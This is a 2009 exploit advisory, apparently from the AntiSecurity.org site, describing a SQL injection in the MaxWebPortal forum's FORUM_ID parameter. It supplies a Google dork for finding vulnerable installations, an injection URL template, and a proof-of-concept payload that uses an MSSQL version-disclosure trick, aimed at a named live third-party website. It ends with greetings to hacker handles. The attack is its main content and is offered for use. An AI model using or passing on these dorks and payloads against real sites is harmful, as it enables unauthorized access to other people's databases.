[x]========================================================================================================================================[x]
 |                                                      AntiSecurity[dot]org                                                                |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Title    		: MaxWebPortal MSSQL Vulnerabilities										    |
 | Software 		: MaxWebPortal													    |
 | Vendor   		: http://www.maxwebportal.com/											    |
 | Demo			: http://www.maxwebportal.com/maxwebportal.asp									    |
 | Date    		: 22 September 2009 ( Indonesia )										    |
 | Author   		: OoN_Boy													    |
 | Contact  		: oon.boy9@gmail.com												    |
 | Web	    		: http://oonboy.info												    |
 | Blog     		: http://oonboy.blogspot.com											    |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Version		: N/A      		                                                                                            |                                                                                                           |                                                                                                           |
 | Description		: MaxWebPortal is a web portal and online community system which includes advanced features such as web-based 	    |
 |			  administration, poll, private/public events calendar, user customizable color themes, classifieds, user control   |
 |			  panel, online pager, link, file, article, picture managers and much more. Easy-to-use and powerful user interface |
 |			  allows members to add news, content, write reviews and share information among other registered users		    |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Google Dork 		: inurl:forum.asp?FORUM_ID= "MaxWebPortal"									    |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Exploit 		: http://localhost/[path]/forum.asp?FORUM_ID=[sql]				 	 			    |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Proof of concept	: http://www.boogiezone.com/forum.asp?FORUM_ID=42&CAT_ID=7+and+1=convert%28int,@@version%29--
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Greetz		: antisecurity.org batamhacker.or.id                                                                                |
 |		 	  Vrs-hCk NoGe Paman zxvf Angela Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va                       |
 | 		  	  k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere                  |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Note			: Selamat hariraya idul fitri mohon maaf lahir dan batin, maafin kesalahan ku selama ini yah all :)		    |
 |			  kabur.... untuk sementara waktu.... bye bye.....								    |
[x]========================================================================================================================================[x]